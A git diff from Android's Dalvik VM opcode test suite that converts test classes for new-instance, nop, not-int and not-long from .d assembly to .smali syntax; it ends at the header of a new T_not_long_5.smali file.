diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/TestAbstractClass.d b/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/TestAbstractClass.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/TestAbstractClass.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/TestAbstractClass.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/TestAbstractClass.smalis/TestAbstractClass.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/TestAbstractClass.smalis/TestAbstractClass.smali
new file mode 100644
index 0000000..2c96a7c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/TestAbstractClass.smalis/TestAbstractClass.smali
@@ -0,0 +1,17 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public abstract Ldot/junit/opcodes/new_instance/d/TestAbstractClass;
+.super Ljava/lang/Object;
+.source "TestAbstractClass.java"
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/TestAbstractClass.smalis/TestInterface.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/TestAbstractClass.smalis/TestInterface.smali
new file mode 100644
index 0000000..19489ac
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/TestAbstractClass.smalis/TestInterface.smali
@@ -0,0 +1,17 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public interface Ldot/junit/opcodes/new_instance/d/TestInterface;
+.super Ljava/lang/Object;
+.source "TestAbstractClass.java"
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/nop/d/T_nop_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/nop/d/T_nop_1.d
deleted file mode 100644
index 59a85e1..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/nop/d/T_nop_1.d
+++ /dev/null
@@ -1,47 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_nop_1.java
-.class public dot.junit.opcodes.nop.d.T_nop_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 3
-       move-object v1, v2
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()Z
-.limit regs 4
-       const v1, 12345678
-       nop
-       nop
-       nop
-       nop
-       nop
-       move v3, v1
-       nop
-       nop
-       nop
-       if-ne v1, v3, Label1
-       const/4 v1, 1
-       return v1
-Label1:
-       const/4 v1, 0
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/nop/d/T_nop_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/nop/d/T_nop_1.smali
new file mode 100644
index 0000000..9da8aa7
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/nop/d/T_nop_1.smali
@@ -0,0 +1,47 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_nop_1.java"
+.class  public Ldot/junit/opcodes/nop/d/T_nop_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 3
+       move-object v1, v2
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()Z
+.registers 4
+       const v1, 12345678
+       nop
+       nop
+       nop
+       nop
+       nop
+       move v3, v1
+       nop
+       nop
+       nop
+       if-ne v1, v3, :Label1
+       const/4 v1, 1
+       return v1
+:Label1
+       const/4 v1, 0
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/not_int/d/T_not_int_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/not_int/d/T_not_int_1.d
deleted file mode 100644
index 2b04225..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/not_int/d/T_not_int_1.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_not_int_1.java
-.class public dot.junit.opcodes.not_int.d.T_not_int_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 5
-
-       not-int v0, v4
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/not_int/d/T_not_int_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/not_int/d/T_not_int_1.smali
new file mode 100644
index 0000000..ccaec7e2
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/not_int/d/T_not_int_1.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_not_int_1.java"
+.class  public Ldot/junit/opcodes/not_int/d/T_not_int_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 5
+
+       not-int v0, v4
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/not_int/d/T_not_int_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/not_int/d/T_not_int_2.d
deleted file mode 100644
index 3e1ff4a..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/not_int/d/T_not_int_2.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_not_int_2.java
-.class public dot.junit.opcodes.not_int.d.T_not_int_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(F)I
-.limit regs 5
-
-       not-int v0, v4
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/not_int/d/T_not_int_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/not_int/d/T_not_int_2.smali
new file mode 100644
index 0000000..1a2e4ba
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/not_int/d/T_not_int_2.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_not_int_2.java"
+.class  public Ldot/junit/opcodes/not_int/d/T_not_int_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(F)I
+.registers 5
+
+       not-int v0, v4
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/not_int/d/T_not_int_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/not_int/d/T_not_int_3.d
deleted file mode 100644
index a42823e..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/not_int/d/T_not_int_3.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_not_int_3.java
-.class public dot.junit.opcodes.not_int.d.T_not_int_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 5
-
-       not-int v0, v5
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/not_int/d/T_not_int_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/not_int/d/T_not_int_3.smali
new file mode 100644
index 0000000..5c95cfd
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/not_int/d/T_not_int_3.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_not_int_3.java"
+.class  public Ldot/junit/opcodes/not_int/d/T_not_int_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 5
+
+       not-int v0, v5
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/not_int/d/T_not_int_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/not_int/d/T_not_int_4.d
deleted file mode 100644
index 1182ead..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/not_int/d/T_not_int_4.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_not_int_4.java
-.class public dot.junit.opcodes.not_int.d.T_not_int_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(D)I
-.limit regs 5
-
-       not-int v0, v3
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/not_int/d/T_not_int_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/not_int/d/T_not_int_4.smali
new file mode 100644
index 0000000..02e00eb
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/not_int/d/T_not_int_4.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_not_int_4.java"
+.class  public Ldot/junit/opcodes/not_int/d/T_not_int_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(D)I
+.registers 5
+
+       not-int v0, v3
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/not_int/d/T_not_int_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/not_int/d/T_not_int_5.d
deleted file mode 100644
index a144392..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/not_int/d/T_not_int_5.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_not_int_5.java
-.class public dot.junit.opcodes.not_int.d.T_not_int_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(J)I
-.limit regs 5
-
-       not-int v0, v3
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/not_int/d/T_not_int_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/not_int/d/T_not_int_5.smali
new file mode 100644
index 0000000..1300cb4
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/not_int/d/T_not_int_5.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_not_int_5.java"
+.class  public Ldot/junit/opcodes/not_int/d/T_not_int_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(J)I
+.registers 5
+
+       not-int v0, v3
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/not_int/d/T_not_int_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/not_int/d/T_not_int_6.d
deleted file mode 100644
index c22438f..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/not_int/d/T_not_int_6.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_not_int_6.java
-.class public dot.junit.opcodes.not_int.d.T_not_int_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 5
-
-       not-int v0, v3
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/not_int/d/T_not_int_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/not_int/d/T_not_int_6.smali
new file mode 100644
index 0000000..7a85870
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/not_int/d/T_not_int_6.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_not_int_6.java"
+.class  public Ldot/junit/opcodes/not_int/d/T_not_int_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 5
+
+       not-int v0, v3
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/not_long/d/T_not_long_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/not_long/d/T_not_long_1.d
deleted file mode 100644
index 9d27053..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/not_long/d/T_not_long_1.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_not_long_1.java
-.class public dot.junit.opcodes.not_long.d.T_not_long_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(J)J
-.limit regs 8
-
-       not-long v0, v6
-       return-wide v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/not_long/d/T_not_long_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/not_long/d/T_not_long_1.smali
new file mode 100644
index 0000000..e58e0cc
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/not_long/d/T_not_long_1.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_not_long_1.java"
+.class  public Ldot/junit/opcodes/not_long/d/T_not_long_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(J)J
+.registers 8
+
+       not-long v0, v6
+       return-wide v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/not_long/d/T_not_long_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/not_long/d/T_not_long_2.d
deleted file mode 100644
index cd253a7..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/not_long/d/T_not_long_2.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_not_long_2.java
-.class public dot.junit.opcodes.not_long.d.T_not_long_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(D)J
-.limit regs 5
-
-       not-long v0, v3
-       return-wide v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/not_long/d/T_not_long_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/not_long/d/T_not_long_2.smali
new file mode 100644
index 0000000..2f85ded
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/not_long/d/T_not_long_2.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_not_long_2.java"
+.class  public Ldot/junit/opcodes/not_long/d/T_not_long_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(D)J
+.registers 5
+
+       not-long v0, v3
+       return-wide v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/not_long/d/T_not_long_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/not_long/d/T_not_long_3.d
deleted file mode 100644
index b9eda02..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/not_long/d/T_not_long_3.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_not_long_3.java
-.class public dot.junit.opcodes.not_long.d.T_not_long_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(J)J
-.limit regs 5
-
-       not-long v0, v5
-       return-wide v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/not_long/d/T_not_long_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/not_long/d/T_not_long_3.smali
new file mode 100644
index 0000000..df9f779
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/not_long/d/T_not_long_3.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_not_long_3.java"
+.class  public Ldot/junit/opcodes/not_long/d/T_not_long_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(J)J
+.registers 5
+
+       not-long v0, v5
+       return-wide v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/not_long/d/T_not_long_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/not_long/d/T_not_long_4.d
deleted file mode 100644
index 3ecd0f1..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/not_long/d/T_not_long_4.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_not_long_4.java
-.class public dot.junit.opcodes.not_long.d.T_not_long_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)J
-.limit regs 5
-
-       not-long v0, v4
-       return-wide v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/not_long/d/T_not_long_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/not_long/d/T_not_long_4.smali
new file mode 100644
index 0000000..ffa28d0
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/not_long/d/T_not_long_4.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_not_long_4.java"
+.class  public Ldot/junit/opcodes/not_long/d/T_not_long_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)J
+.registers 5
+
+       not-long v0, v4
+       return-wide v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/not_long/d/T_not_long_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/not_long/d/T_not_long_5.d
deleted file mode 100644
index 31c1dfc..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/not_long/d/T_not_long_5.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_not_long_5.java
-.class public dot.junit.opcodes.not_long.d.T_not_long_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(F)J
-.limit regs 5
-
-       not-long v0, v4
-       return-wide v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/not_long/d/T_not_long_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/not_long/d/T_not_long_5.smali
new file mode 100644
index 0000000..82a48a9
